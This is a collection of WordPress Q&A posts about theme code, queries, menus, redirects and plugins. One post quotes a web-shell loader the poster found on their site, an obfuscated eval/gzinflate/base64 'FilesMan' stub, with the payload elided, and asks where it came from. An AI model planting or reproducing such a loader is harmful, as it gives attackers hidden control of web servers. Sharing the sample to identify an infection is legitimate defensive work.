title: Displaying Portfolio Filter by Category Order (alphabetically)

text: I have created a custom post type to display churches in Europe. I used this tutorial to make it filterable: http://wp.tutsplus.com/tutorials/creating-a- filterable-portfolio-with-wordpress-and-jquery/ Everything on my site works as normal: http://globalicn.com/preview/regions/europe/ My question is, I would like the posts to be organized by the Country not the post of the title.               <?php     $loop = new WP_Query(array('post_type' => 'europe', 'posts_per_page' => -1, 'orderby' =>         'title', 'order' => 'asc'));     $count =0;     ?>      What can I do?


title: Require Capability to View Woocommerce Product

text:
I am using Woocommerce and I have products in a category called B2B whose single_product.php is only to be shown to people with the capability read_b2b.               <?php if ( have_posts() ) : ?>     <?php do_action('woocommerce_before_shop_loop'); ?>     <?php if (is_product_category('b2b')) && if current_user_can('read_b2b') { ?>       //*** In this case show the PRODUCT with the LOOP ***            <?php while ( have_posts() ) : the_post(); ?>            <?php woocommerce_get_template_part( 'content', 'single-product' ); ?>            <?php endwhile; // end of the loop. ?>     <?php } else {        //*** show error message ***       echo '
You have to be a registered b2b user to see this product
';     ?>      Can you help me get this hack to work for single-product.php?


title: Wordpress' work or execution flow manipulating $wpdb

text: I have read about overwriting global variable `$wpdb` and connecting to a second database this way ( Search another database with wp_query using new wpdb ) so one could e.g. use WP_Query on 2nd DB. After that $wpdb is "restored" with $wpdb_backup. See code below from @Tom J Nowell               global $wpdb;     // backup wpdb     $wpdb_backup = $wpdb;          // new db     $newdb = new wpdb($user, $password, $db, $host);          // pretend newdb is actually wpdb     $wpdb = $newdb;          // do stuff          // reset wpdb back     $wpdb = $wpdb_backup;      It's a theoretical question, maybe independant of hooks, only focused on execution-flow. Will PHP (or WP engine in general) primary execute and finish this script-part, where `$wpdb`'s parameters are set to 2nd database's connection details and after doing stuff on 2nd DB will it later switch back to old $wpdb ($wpdb_backup) before a second website visitor clicks a post link right before $wpdb is changed (or any other possible action handling DB1) and PHP reacts after $wpdb is changed to $newdb? If so, in this scenario, WP displays a post from DB2 though the visitor expects (well, it's probably less him - it's WP) the certain Post from DB1. If such a post does not exist in DB2 WP throws an error. Am I wrong? Thank you for your explanations. **edit** Is it about priority with hooks? I know there is `add_action ( 'hook_name', 'your_function_name', [priority], [accepted_args] );` for hook priority. * * * **edit2** Short question: Does WP execute one action after another or does it handle them simultaneously (so that there can be conflicts manipulating $wpdb and after doing some stuff change it back)?


title: Using multiple variables to assign categories to an array

text: I have php set up in a template file to check a form and see if 1 or more of 5 categories is selected. Based on which one is selected, I want the custom query I'm using to change in that the array for "category_name" changes depending on what is selected. I have gotten as far as defining the variables from the form but I can't figure out how to get the multiple variables to put themselves into an array. Here is an example of what I'm trying to do:                       if (isset($_POST['showvideo']) && ($_POST['showvideo'] == 'true')) :             $video='user-video,';         endif;         if (isset($_POST['showimage']) && ($_POST['showimage'] == 'true')) :             $image='user-image,';         endif;         if (isset($_POST['showaudio']) && ($_POST['showaudio'] == 'true')) :             $audio='user-audio,';         endif;         if (isset($_POST['showwriting']) && ($_POST['showwriting'] == 'true')) :             $writing='user-writing,';         endif;         if (isset($_POST['showevent']) && ($_POST['showevent'] == 'true')) :             $event='user-event';         endif;      And then, I don't know how to get each of those values to put themselves into a correct array to use inside my custom query as the 'category_name' array. This is obviously wrong:               $upostcat= array ($video . $image . $audio . $writing . $event);      Can someone help me with how to do this? Updated WORKING code based on answer below (thanks!):                   if (isset($_POST['showvideo']) && ($_POST['showvideo'] == 'true')) {         $cats[]='user-video';     } elseif (isset($_POST['showimage']) && ($_POST['showimage'] == 'true')) {         $cats[]='user-image';     } elseif (isset($_POST['showaudio']) && ($_POST['showaudio'] == 'true')) {         $cats[]='user-audio';     } elseif (isset($_POST['showwriting']) && ($_POST['showwriting'] == 'true')) {         $cats[]='user-writing';     } elseif (isset($_POST['showevent']) && ($_POST['showevent'] == 'true')) {         $cats[]='user-event';     };          if (!empty($cats) {       $upostcat = implode(',',$cats);     };


title: Maintain user profile data in a non-Wordpress database

text: I have an existing MySQL database (not Wordpress) containing user profile information. I am looking for a way to allow these users to log in to a Wordpress site and edit their profile. It is most likely I will need to write a plugin to do this, however I'm hoping that others have had the same requirement and a solution already exists. I've looked at using BuddyPress and GravityForms as possible vehicles but they don't seem to allow connection to an existing database. The remote database user profiles contain things like clothing sizes and profile pictures; more than the Wordpress profile. About the only thing that is not in the profiles is an email address and password. The remote database is large and is used by other software clients, so it can not be imported or migrated into Wordpress.


title: Wordpress media upload multiple images

text: Media popup opens but faling to insert the images . After selecting images it goes page not found instead of closing the popup and returning to tb_unload. I found below code from the template which calls the tb_show to upload the multiple images and gets the count of the attached images.                  $('.theme-interface-option .upload_button, .theme-tax-form-field .upload_button')         .live('click',function() {           formfield = $(this).attr('id');           media = 'image';               formID = post_id;           no_tabs = '&no_tabs=1';           tb_show ( tfuse_title, 'media-upload.php?post_id='+formID+'&type='+media+'&             amp;formfield='+formfield+'&tab='+tab+no_tabs+'&TB_iframe=1' );            $('#TB_window,#TB_overlay,#TB_HideSelect').one('unload',killTheUnloadEvent);                $($('#TB_window').find('iframe')).load(function(){         var _image_form = $(this).contents().find('#image-form');         _image_form.attr('action',_image_form.attr('action')+no_tabs);         var _gallery_form = $(this).contents().find('#gallery-form');         _gallery_form.attr('action',_gallery_form.attr('action')+no_tabs);       });                $("#TB_window").bind('tb_unload', function () {               var attachments  =                $(this).find('iframe').contents().find('#attachments-count');                 var _placeholder = button.closest('.upload_button_div');                });     });      I have checked the url path of the iframe src it is correct and opens in another window. What is the error in the above code why it goes to page not found? and also when I check the console log it show the typenow not defined


title: Convert wordpress posts to products in Woocommerce

text: Is there anyway I could convert all the posts e have right now on our Worpdress install into products using some mysql query or something like that?


title: Download user generated data from Wordpress

text: I have created a Wordpress site which I allow users to enter information about themselves such as name, age, sex and address etc. Now that I have this n formation I would like to know the steps I should use to download all of the information from all registered users on my site using an objective c NSURLConnection library. I know how to use NSURLconnection, I am used to doing a query where the information is returned in xml or Json format.. However I don't know how to interface this request on my server? For instance do I create a php file that dose the query for me? Or something else? Ay help would be greatly appreciated.


title: Creating a custom menu/widget area

text: I'm looking to create a /menu/widget area like the following site: http://www.microsoft.com/en-gb/default.aspx please see sections under downloads, security, support, about is this considered a footer menu as well? my theme's footer menu is just a standard menu on the bottom right corner of the theme like the example site as well but i want to creat a similar area just above it. thanks


title: Extending wordpress search to include excerpts and taxonomies?

text: Apologies for the lack of code, but I have no idea where to start with this - is it possible to extend Wordpress's search function to include excerpts and (custom) taxonomies as well as the standard title and post content in search results? i.e. search results don't include posts that contain keywords found in excerpts or taxonomies, is it possible to include them? Ideally, I'd like to do this without a plugin if possible, is there a way to extend it via functions.php? Thanks for any pointers. Osu


title: Find out if request is for custom post type archive before query runs

text: I am writing a plugin that is modifying the RSS2 feed for a podcast that uses a custom post type. After the query runs (on action hook `template_redirect`; See this question for why), I'm checking to see if the request is for an archive of my custom post type. If so, I add actions and filters to modify the RSS2 template. Now I would like to make some modifications that affect the query. Without using the `is_post_type_archive` function, which is only updated after the query runs, how do I check that the request is for an archive of the custom post type? On which hook would I add this? Here is the relevant code I have so far:               add_action('template_redirect', 'myplugin_frontend_init_after_query');          function myplugin_frontend_init_after_query() {         if ( is_post_type_archive('myplugin_custom_type') ) {             add_action('rss2_ns', 'myplugin_podcast_ns');             add_action('rss2_head', 'myplugin_podcast_head');             add_filter('the_excerpt_rss', 'myplugin_podcast_description_filter');             // other actions and filters here             // The next one is the one I'm having trouble with:             add_filter('option_posts_per_rss', 'myplugin_podcast_number_filter');             // I'm attempting to alter the number of posts in the feed, but of course after the query runs, it is too late.         }     }


title: Conditional custom field query

text: I'm working on a job board-type site, and the client want to sell featured posts. They want the featured posts to expire from showing up in the "featured" section after a predetermined period of time, but continue to show up in the rest of the site. My solution to this problem would be to assign a custom field to posts in the "featured" category stating the number of days it's to be featured for, say, 15. So the logic of the query would be something like: IF the post is category "featured" AND the custom field "featuredexpiredays" IS LESS THAN days since publication, get the post. I have a script for calculating the number of days since publication, I'm just failing completely at figuring out how to glom all this together into a single query. Do you have any suggestions on how to do this, or alternately, suggestions of a different way make my site behave in this way? Thanks so much!


title: How much effort to migrate from .com to .org

text: I am launching an education and awareness site on Federal budget. Obviously less effort to use .com and can get going faster -- but would like characterization of effort required to migrate later to .org as will need plug-ins for beta. THANKS


title: Preventing session timeout

text: Not sure if this is a bug or by design, but it's damn annoying. Every so often, more so after updating the core, while in the admin section, I get booted out with the infamous "Your session has expired" message. Strange in itself since apparently WP doesn't use sessions. The login prompt comes with a "remember me" checkbox, why isn't it remembering? I guess there's a distinction between "remember me" and "keep me logged in" here. I've disabled all plugins, deletes cookies, tried other browsers and even yelled at my screen, but I keep getting booted out. Does WP set a no activity time limit in the admin section? Could somebody explain what exactly WP is doing to keep users logged in.


title: Jquery script not loading on site Front page

text: I've been working on updating a site which was running on an old version of WordPress, I've had to update the theme, most of the plugins and finally got the WordPress up to date. I've had to do a few customisations including using plugins to replace old theme functions that the site used which are not present/working in the updated theme. The theme is now not supported by the developer. The only thing stopping the site going live is that a scroll up button doesn't work properly on the Home page. The scroll up button appears after a user scrolls down a page and when clicked on smooth scrolls to the top of the page and disappears. This is acheived using a bit of jQuery that has been added to the theme's custom.js file. The custom.js file starts with the line:               jQuery(document).ready(function($) {      The button script works fine on all the other pages but not on the front page where it seems the jQuery script has not been loaded. Here's the bit of jQuery:                   /* --------------------------------------------------------------------------- */     /*  13. Back to Top     /* --------------------------------------------------------------------------- */          $("#back-top").hide();          $(window).scroll(function () {         if ($(this).scrollTop() > 100) {             $('#back-top').fadeIn();         } else {             $('#back-top').fadeOut();         }     });          $('#back-top a').click(function () {         $('body,html').animate({             scrollTop: 0         }, 600);         return false;     });          });      I'm at the point where I'm just going to wpenqueue the required script to make it work anyway but I'd rather fix the problem which may be obvious to some but now has me going in circles. The site can be seen at http://just7.co.uk/latinlink/ UPDATE 28/10/2013: I've copied the jQuery code and put it into its own script and enqueued the script via functions.php. I can see the script (backtotop.js) loading but it still isn't working on the home page but works on all others. Here's the script:               jQuery(document).ready(function() {         jQuery("#back-top").hide();              jQuery(window).scroll(function () {             if (jQuery(this).scrollTop() > 100) {                 jQuery('#back-top').fadeIn();             } else {                 jQuery('#back-top').fadeOut();             }         });              jQuery('#back-top a').click(function () {             jQuery('body,html').animate({                 scrollTop: 0             }, 600);             return false;         });          });      The site is at http://www.just7.co.uk/latinlink


title: Adding Meta box to thrid-party plugin

text: I am about to write a custom plugin that is intended to »extend« a third party plugin, in this case it is: »EME Events made Easy«. I would like to add a Metabox to the »edit event« screen, from within my plugin, so that I do not have to modify the events-plugin code. How can I do that? Thanks in ahead, philipp **EDIT** Since my Questions seems to lack some details I am gonna add them now: I have installed and actived the Plugin: »EME Events made easy«. In the admin section, I can navigate to: `wp-admin/admin.php?page=events- manager&action=edit_event&event_id=<some_id>` I would like to add a Meta Box to this page, so that I am able to store meta data for each event. There are some hooks, shown here, I can use to actually store the data. So far I have written a Plugin, which also activated and running and I am searching for a way to display the metabox, or inject some custom html at a suitable hook. I have tried:               function sw_contact_add_events_meta_boxes()     {         add_meta_box( 'css-id', 'my-title', 'sw_contact_display_meta', 'events-manager', 'advanced', 'high', array() );     }     add_action( 'add_meta_boxes', 'sw_contact_add_events_meta_boxes' );          function sw_contact_display_meta( $test )     {         die();     }      but the page did not die, so the hook did not work.


title: 301 redirect for wordpress permarlink

text: on `.httaccess`, we use like this.               RedirectMatch 301 ^/food/(.*)$ http//:domain.com/food-for-healthy/$1      It works good. but we have a problem with 1 old link. we used to have a multi- site and the name is "food". it changed to "food-for-healthy" Therefore we have changed like these.               RedirectMatch 301 ^/food/(.*)$ http//:domain.com/food-for-healthy/$1      and as you know,               http//:domain.com/food/      and               http//:domain.com/food      are same. The problem is `http//:domain.com/food` which needs to go to `http//:domain.com/food-for-healty/` I have tried several things but it gets redirect error.               RedirectMatch 301 /food http//:domain.com/food-for-healthy      this gets a redirect error. how can I change it to work properly?


title: Getting URL Variables with a Rewritten Page (Login Page)

text: As part of a larger project, I am attempting all login activity to occur at the following address: www.url.com/login So, a link that should lead to a form that would allow a user to reset their password would be found at the following: www.url.com/login?action=lostpassword However, the wp-login.php is not reading this correctly, and when I go to the above address, I get the normal log-in form. This is how I have it set up:               add_action( 'init', 'add_virtual_page_template' );     function add_virtual_page_template()     {         global $wp, $wp_rewrite;              $wp->add_query_var( 'template' );              add_rewrite_endpoint( 'login', EP_PERMALINK | EP_PAGES );         add_rewrite_rule( 'login/?', 'index.php?template=login', 'top' );              add_rewrite_rule( 'login/?', 'index.php?template=login', 'top' );              $wp_rewrite->flush_rules();     }          add_action( 'template_redirect', 'add_virtual_page_redirect' );     function add_virtual_page_redirect()     {         global $wp;              $queryvar = get_query_var('template');              if ($queryvar && $queryvar == 'login')         {             include(site_url('wp-login.php'));             exit();         }              if ($queryvar == 'mylogin')         {             include( get_stylesheet_directory() . '/page-login.php' );             exit();         }     }      What am I missing?


title: How do you create a default template?

text: I have several custom templates. When I create a new page, custom templates (Thesis Skin Custom Template) shows "No Custom Template". There are several to choose from in the drop down. The problem is that any dynamic page will not use a template. Is there a way to make a custom template the default for new pages?


title: Gain loyalty point in WordPress account when do some activity on other website - possible?

text: I'm very curious if it is possible to create a loyalty point in WordPress account when we do some activity in other website? I have a WordPress account and I already installed a plugin for gaining loyalty points called "myCRED". It will give points to the registered users when they click on the given links of a website. But, in my case, I want to make the points will be given when the users DO SOME ACTIVITIES in the given links' websites (like this one) after clicking it such as clicking other links in the website or clicking like button on the website. Is there any PHP codes that can do like that? Please help me. I'm totally stuck right now.


title: cPanel login from WordPress

text: Do I need a cPanel login username and password to go to cPanel from WordPress or only WordPress login is enough to go to cPanel through cPanel Manager (from WORPIT)?


title: Post_per_page -1 returns only half the results

text:
I have a custom post type which I created in functions.php.               function codex_custom_init() {       $labels = array(         'name'               => 'Restaurantes',         'singular_name'      => 'Restaurante',         'add_new'            => 'Añadir Nuevo',         'add_new_item'       => 'Añadir Nuevo Restaurante',         'edit_item'          => 'Editar Restaurante',         'new_item'           => 'Nuevo Restaurante',         'all_items'          => 'Todos los Restaurantes',         'view_item'          => 'Ver Ver Restaurante',         'search_items'       => 'Buscar Restaurantes',         'not_found'          => 'No se encontraron restaurantes',         'not_found_in_trash' => 'Restaurantes no encontrados en la Papelera',         'parent_item_colon'  => '',         'menu_name'          => 'Restaurantes'       );            $args = array(         'labels'             => $labels,         'public'             => true,         'publicly_queryable' => true,         'show_ui'            => true,         'show_in_menu'       => true,         'query_var'          => true,         'rewrite'            => array( 'slug' => 'restaurante' ),         'capability_type'    => 'post',         'has_archive'        => true,         'hierarchical'       => false,         'menu_position'      => null,         'supports'           => array( 'title', 'editor', 'author', 'thumbnail', 'excerpt', 'comments' )       );            register_post_type( 'restaurante', $args );     }     add_action( 'init', 'codex_custom_init' );      I am trying to display all items belonging to this custom post type in an archive page. I have 460 entries of this custom post type. I created the file `archive-restaurante.php` I am trying to display all results order by a custom field called `restaurante_municipio`               <?php      query_posts(          wp_parse_args(              $wp_query->query             ,array('post_type' => 'restaurante',                    'posts_per_page' => -1,                     'meta_key' => 'restaurante_municipio',                    'orderby' => 'meta_value',                    'order' => 'ASC')         )     );     global $wp_query;      $total_results = $wp_query->found_posts;      echo '
Restaurantes: '.$total_results.'';     ?>          if(have_posts() ) {          ?>     ...     ..     .     <?php while (have_posts()) : the_post(); ?>     ...     ..     .     <?php endwhile; ?>     ...     ..     .      The number of displayed items is 230 the total number of results (460) divided by 2. If I change the posts_per_page to 100, the number of results displayed is 50. Again post_per_page divided by 2. If I change the post_per_page to 920, the number of results displayed is 230 again. What am I doing wrong? Thanks in advanced for your help.


title: $wpdb is queried but results don't show

text:
I am trying to show a list of custom post types on a page template. When I view the page, instead of seeing the different posts, I see the actual page repeated. For example, If I have 5 posts, the actual page (head content footer) will be display five times. It seems like the query is working...in some way but I am not sure what is wrong. Here is the template code:               <?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>              <div id="post-<?php the_ID(); ?>" <?php post_class('page'); ?>>
<?php the_title(); ?>

                     <?php the_content(); ?>                     <?php wp_link_pages('before=
&after=
'); ?>

          <?php endwhile; ?>                    <?php     //query_posts('post_type=listing&orderby=title&order=ASC&posts_per_page=9999');     ?>          <?php     $querystr = "     SELECT *      FROM $wpdb->posts, $wpdb->postsmeta     WHERE wp_posts.ID = wp_postmeta.post_id     AND wp_postmeta.meta_key = 'listing_open'      AND wp_postmeta.meta_value = 'YES'     AND wp_posts.post_status = 'publish'      AND wp_posts.post_type = 'listing'     ORDER BY post_title     ";                                   $pageposts = $wpdb->get_results($querystr, OBJECT);                              if ($pageposts):                         foreach ($pageposts as $postdata):     setup_postdata($postdata);     ?>          <?php //if (have_posts()) : while (have_posts()) : the_post(); ?>              <?php include_once(get_bloginfo('template_url')."/layout-listings.php?id=".$postdata->ID); ?>                 <?php //endwhile; endif; rewind_posts(); wp_reset_query(); ?>          <?php     endforeach;     endif;     ?>          <?php     $querystr = "     SELECT *      FROM $wpdb->posts, $wpdb->postmeta     WHERE wp_posts.ID = wp_postmeta.post_id     AND wp_postmeta.meta_key = 'listing_open'      AND wp_postmeta.meta_value = 'NO'     AND wp_posts.post_status = 'publish'      AND wp_posts.post_type = 'listing'     ORDER BY post_title     ";                                   $pageposts2 = $wpdb->get_results($querystr, OBJECT);                                 if ($pageposts2):                         foreach ($pageposts2 as $postdata2):     setup_postdata($postdata2);     ?>          <?php //if (have_posts()) : while (have_posts()) : the_post(); ?>              <?php include_once(get_bloginfo('template_url')."/layout-listings.php?id=".$postdata2->ID); ?>                <?php //endwhile; endif; rewind_posts(); wp_reset_query(); ?>          <?php     endforeach;     endif;     ?>


title: Proper way to create an administration page without adding it to the menu

text: From what I've seen around the code, you can do this by hooking a function on `admin_init`, do you stuff and then `die()`. Is there a better way that follows "WP best practices" I'm missing here? The page should not have any default body content, like the dashboard sidebar, but the admin scripts/CSS should be loaded normally.


title: retain querystring values when savincustom options in admin

text: Quick question, I have a custom options page which posts to options.php, however I have a few sections to my options page where i change the post url like so: `<form action='options.php?section=sectionname' ..>` when the options page reloads I need to check which section was just saved i.e. get the sectionname from the querystring, however the options.php page redirects to the options-general.php page and does not retain my query string. can anyone think of either a way to retain the QS or tell me a better way to do this? Thanks


title: How do I add a promotional message to my posts?

text: I'm sure this is a dup, but I honestly can't find an answer. I'd like to add a message to the start and end of my posts:               "Check out my new startup: Facebook For Dogs!"      Is there a simple way to do this, hopefully using a plugin?


title: How to remove duplicate blog title

text: My blog is www.theprinterdepo.com/blog. The blog title its in the beginning and at the end, which looks bad for seo efforts, I have a pluggin called ALL In one SEO. Which puts the title of the blog at the end, which is fine. But I cant find how to remove it from the start of the meta title. thank you I suppose this is the code you need:               <title><?php wp_title('|', true, 'left'); ?></title>


title: hook a functions to change wp-config from functions.php

text: is there a way to hook / filter or add action that would be printed in the wp- config file? lets say i want to add some simple command like "empty the trash" aka               define('EMPTY_TRASH_DAYS', 1 );       This should be changes in the wp-config but i want it to go with theme.. Any way to do that?


title: How can I detect if a user changes their password?

text: I would like to track when a user changes their password. Is there a way to detect when a password has been changed?


title: Display only page specific sub menu items using Custom Walker

text:
I've just implemented the technique described at http://wordpress.org/support/topic/wp_nav_menu-list-only-2nd-level-separate- submenu/page/2 when implementing a theme for a client. When I run the theme locally on my Wordpress stack it behaves as expected displaying only the children of the parent menu item. When I deploy this to the server it displays all menu items including parents and children which obviously isn't the desired result. My code is as follows:- From functions.php:-               class Custom_Walker_Nav_Sub_Menu extends Walker_Nav_Menu {            var $found_parents = array();          function start_el(&$output, $item, $depth, $args) {                  global $wp_query;                  //this only works for second level sub navigations             $parent_item_id = 0;                  $indent = ( $depth ) ? str_repeat( "\t", $depth ) : '';                  $class_names = $value = '';                  $classes = empty( $item->classes ) ? array() : (array) $item->classes;                    $class_names = join( ' ', apply_filters( 'nav_menu_css_class', array_filter( $classes ), $item ) );             $class_names = ' class="' . esc_attr( $class_names ) . '"';                    if ( ($item->menu_item_parent==0) && (strpos($class_names, 'current-menu-parent')) ) {               $output.= '
';              }                       // Checks if the current element is in the current selection             if (strpos($class_names, 'current-menu-item')                 || strpos($class_names, 'current-menu-parent')                 || strpos($class_names, 'current-menu-ancestor')                 || (is_array($this->found_parents) && in_array( $item->menu_item_parent, $this->found_parents )) ) {                      // Keep track of all selected parents                 $this->found_parents[] = $item->ID;                      //check if the item_parent matches the current item_parent                 if($item->menu_item_parent!=$parent_item_id){                          $output .= $indent . '
ID . '"' . $value . $class_names .'>';                          $attributes  = ! empty( $item->attr_title ) ? ' title="'  . esc_attr( $item->attr_title ) .'"' : '';                     $attributes .= ! empty( $item->target )     ? ' target="' . esc_attr( $item->target     ) .'"' : '';                     $attributes .= ! empty( $item->xfn )        ? ' rel="'    . esc_attr( $item->xfn        ) .'"' : '';                     $attributes .= ! empty( $item->url )        ? ' href="'   . esc_attr( $item->url        ) .'"' : '';                          $item_output = $args->before;                     $item_output .= '';                     $item_output .= $args->link_before . apply_filters( 'the_title', $item->title, $item->ID ) . $args->link_after;                     $item_output .= '';                     $item_output .= $args->after;                          $output .= apply_filters( 'walker_nav_menu_start_el', $item_output, $item, $depth, $args );                 }                       }         }              function end_el(&$output, $item, $depth) {           // Closes only the opened li           if ( is_array($this->found_parents) && in_array( $item->ID, $this->found_parents ) ) {               $output .= "
\n";         }       }            function end_lvl(&$output, $depth) {         $indent = str_repeat("\t", $depth);         // If the sub-menu is empty, strip the opening tag, else closes it         if (substr($output, -22)=="
\n") {           $output = substr($output, 0, strlen($output)-23);         } else {           $output .= "$indent
\n";         }       }          }      From the template:-

              <?php wp_nav_menu( array('theme_location' => 'primary', 'menu_class' => 'nav-menu', 'container' => '', 'depth' => 1,  )); ?>

         <?php         $menu_args = array(       'walker'          => new Custom_Walker_Nav_Sub_Menu(),       'container'       => '',       'menu_class'      => 'sister-pages',     s);     wp_nav_menu($menu_args);     ?>

           The generated source:-

     Our Products

     Existing Members

     Business Directory

     Our Products

     Overview

     Tenant Lifestyle Referencing

     Tenant Credit Referencing

     Insurance

     Existing Members

     Register a Tenant

     Tenant Lifestyle Search

     Tenant Credit Search

     Discuss

     Business Directory


title: Multisite: should /blog go to a 404 page?

text: I have a WP multisite installation. All the posts for the default blog are in the subdirectory /blog. All those URLs are fine, all the category and archive links work well. However, visiting the "www.domain.com/blog/" URL leads to a 404. Is this expected behaviour? I thought it might be something to do with my particular install, but I checked another and it seems to be the same. I'm running version 3.2.1


title: Shared functions.php across multiple WordPress websites

text: I find myself using many of the same snippets of code for my `functions.php` file in new websites. Is there a method I can use to create a few different shared `functions.php` files to use across my websites? I am not referring to a WPMU installation, but completely separate installations of WordPress with separate databases, possibly on different hosts. For example, if there are functions I want to add to a specific site, I would just add them to the site's own `functions.php`, but also have a shared `functions.php` file for all my multi-author sites and one for all my single author sites. Another situation would be to group together all similar functions into separate `functions.php` files. # UPDATE Here is an update with an example I found in a premium theme's `functions.php`. This is the only code in the `functions.php`, so I assume all the functions are pulled from other files.               $themename = 'CoolTheme';     $shortname = 'cooltheme';          include_once TEMPLATEPATH.'/cool_framework/plugins/pagination.php';     include_once TEMPLATEPATH.'/cool_framework/plugins/cool_widgets.php';     include_once TEMPLATEPATH.'/cool_framework/plugins/sidebar_generator.php';     include_once TEMPLATEPATH.'/cool_framework/cool_comments.php';     include_once TEMPLATEPATH.'/cool_framework/cool_functions.php';     include_once TEMPLATEPATH.'/cool_framework/cool_navigation.php';     include_once TEMPLATEPATH.'/cool_framework/cool_panel/cool_panel.php';     include_once TEMPLATEPATH.'/cool_framework/cool_shortcodes/cool_shortcodes.php';      Is something like this possible, except calling the functions from a completely separate domain or cloud storage? If so, what are the issues, if any, I can expect?


title: Limit the size of the post excerpt

text:
I am using this filter for Custom excerpts               <?php echo excerpt(90); ?>      http://bavotasan.com/2009/limiting-the-number-of-words-in-your-excerpt-or- content-in-wordpress/ but this filter not working in first featured post showing default 55 words else it's working fine               <?php      $count = 1;     if (have_posts()) : while (have_posts()) : the_post(); if($count == 1) : ?>

     <?php woo_get_image('image',455,245,' '.$GLOBALS['align']); ?>

     <a href="<?php the_permalink() ?>" rel="bookmark" title=""><?php  the_title(); ?>

**<?php echo excerpt(90); ?>**
     (<?php _e('आगे      पढे ', 'shreshthbharat'); ?>)

          <?php else : ?>

     <?php woo_get_image('image',455,245,' '.$GLOBALS['align']); ?>

     <a href="<?php the_permalink() ?>" rel="bookmark" title=""><?php  the_title(); ?>

**<?php echo excerpt(90); ?>**
     (<?php _e('आगे      पढे ', 'shreshthbharat'); ?>)

      please guide.


title: translate the_title() with .po & .mo

text: i need to translate the_title(). I am using code:               <?php _e(the_title()); ?>      but not working ... any ideas ?


title: theme_locals in CherryFramework

text: Im using a theme based on the cherry framework and need to edit some text which is echo'd out. The echo'd string is called like this:               <?php echo theme_locals('privacy_policy'); ?>      But I cant find anything that this relates to and I cant seem to find any info regarding what these theme_locals are and where to edit the content. Any ideas?


title: hijacking home_url for root relative paths

text: I'd been having trouble with the full domain name being written into the path of links and assets. Basically localhost:XXXX works fine, until I try to reach my site from a Virtual Box install of XP or in my local network, where the domain changes to computername.local:XXXX I managed to solve this problem with a tip from http://www.deluxeblogtips.com/2012/06/relative-urls.html (code below) The problem is that home_url which is referenced throughout my theme still returns the full domain, rather then just "/" as root. is there a way to filter home_url to do this? yes I could `define('WP_HOME', '/' );` which will brute force the path, but causes other issues with feed readers and plugins - it also probably wont work with subdirectory installs. thanks for your thoughts               add_action( 'template_redirect', 'rw_relative_urls' );         function rw_relative_urls() {         // Don't do anything if:         // - In feed         // - In sitemap by WordPress SEO plugin        if ( is_feed() || get_query_var( 'sitemap' ) )          return;         $filters = array(         'post_link',         'post_type_link',         'page_link',         'attachment_link',         'get_shortlink',         'post_type_archive_link',         'get_pagenum_link',         'get_comments_pagenum_link',         'term_link',         'search_link',         'day_link',         'month_link',         'year_link',          );          foreach ( $filters as $filter )     {         add_filter( $filter, 'wp_make_link_relative' );     }         home_url($path = '', $scheme = null);     }


title: Adding a custom field/property to wp_nav_menu object

text: i'm a noob with wp, and have been trying to search around to find a way to add a option/setting/custom meta field to a navigation menu object where i can flag it as being a global nav; this is to be used in a multisite set up. i figured i shouldn't be reliant that the navigation exists in the parent site and that any sites can define a global navigation, which could be query for, if needed. i've seen the other solutions out there, but this seems the most elegant in terms of not statically defining the blog id as an argument, or reliant that the global navigation exists in the parent 'unused' site, in a multisite set up. thank you in advance for your help!


title: show current item in custom menu, when inside a custom post type

text: I have a custom post type "product". I need to have its index accessible from the main menu, so i 've added a Custom Menu entry, simply stating "/works/" as url value. Problem is: if i'm looking at a single product, the main index menu link does not receive the current_menu_ancestor class. Any idea how to fix that?               register_post_type( 'product',                           array(                 'labels' => array(                     'name' => __( 'Works' ),                     'singular_name' => __( 'Work' ),                     'add_new' => _x('Add New', 'Work'),                     'add_new_item' => __('Add New Work'),                     'edit_item' => __('Edit Work'),                     'new_item' => __('New Work'),                     'view_item' => __('View Work'),                     'search_items' => __('Search Works'),                     'not_found' =>  __('No Work found'),                     'not_found_in_trash' => __('No Work found in Trash'),                      'menu_name' => 'Works'                 ),                 'public' => true,                 'publicly_queryable' => true,                 'exclude_from_search'=>false,                 'show_ui '=>true,                 'query_var' => true,                 'show_in_menu '=>true,                 'show_in_nav_menus '=>true,                 'has_archive' => 'works',                 'rewrite' => array('slug'=>'work','with_front'=>false),                 'menu_position' => 2,                 'menu_icon' => get_stylesheet_directory_uri() . '/library/images/custom-post-icon.png',                 'capability_type' => 'post',                 'hierarchical' => false,                 'supports'=>array('title','editor','thumbnail','excerpt'),                 'taxonomies'=>array('post_tag')             )         );


title: Which method to use when deleting posts from the front-end

text: I am trying to enlist all my posts on the front-end along with delete and edit links (using the shortcode API). I am having difficulty with the delete links. To me the most obvious way to handle deletion is to use query variables and $_GET for deletion. However, if the user keeps reloading the page, WordPress will try to delete the post on every page load. Another solution that comes to mind is to make each delete link a button and embed it in a form along with hidden fields containing post id and nonce etc. However this could potentially result in hundreds of form elements and an even higher number of hidden fields on a single page, which seems messy. The last solution that I can think of is to use redirection. I could use query variables but intercept the page load, delete the post and redirect the user to the page without the query variables. However I can't seem to find the right hook for this. I want my function to run early enough so that I don't get any "headers already sent" messages. I'd like to know which method is the correct one? And is there a hook that I can use for that last solution (something like the load hook but for the front-end). Many thanks.


title: How do i import email addresses into WordPress.com subscriptions?

text: I have a CSV file with email addresses i want to import into Wordpress.coms Jetpack subscriptions.


title: suspicious boolean.php file in wp web root

text: Today I noticed in my web root a suspicious php file: boolian.php and serveral .html files with random names, all containing trojans. I remember yesterday I just uploaded and activated few themes I downloaded from wordpress.org. The website is fine, however I wonder if anyone had those issues before and maybe knows which theme or plugin might be responsible for this. Here's the content of the file:               <?php           $auth_pass = "fbc3709d5836fbef684552208cda1fd9";          $color = "#df5";          $default_action = 'FilesMan';          $default_use_ajax = true;          $default_charset = 'Windows-1251';          preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'[encoded data, 23008 characters]'\x29\x29\x29\x3B",".");?>      DON'T TRY TO RUN IT. My antivirus detects it as a trojan.


title: Plugins to clone wordpress site and move to another url

text: Are there any possible plugins that could clone an entire Wordpress site and install it in another location? I build sites on one url, then to show the client and move it to another url to show it. At the moment copying the files and database and re-uploading everything and changing urls is a bit of a nightmare! UPDATE: I want them to run off two different databases.


title: Menu_slug used for creating options page

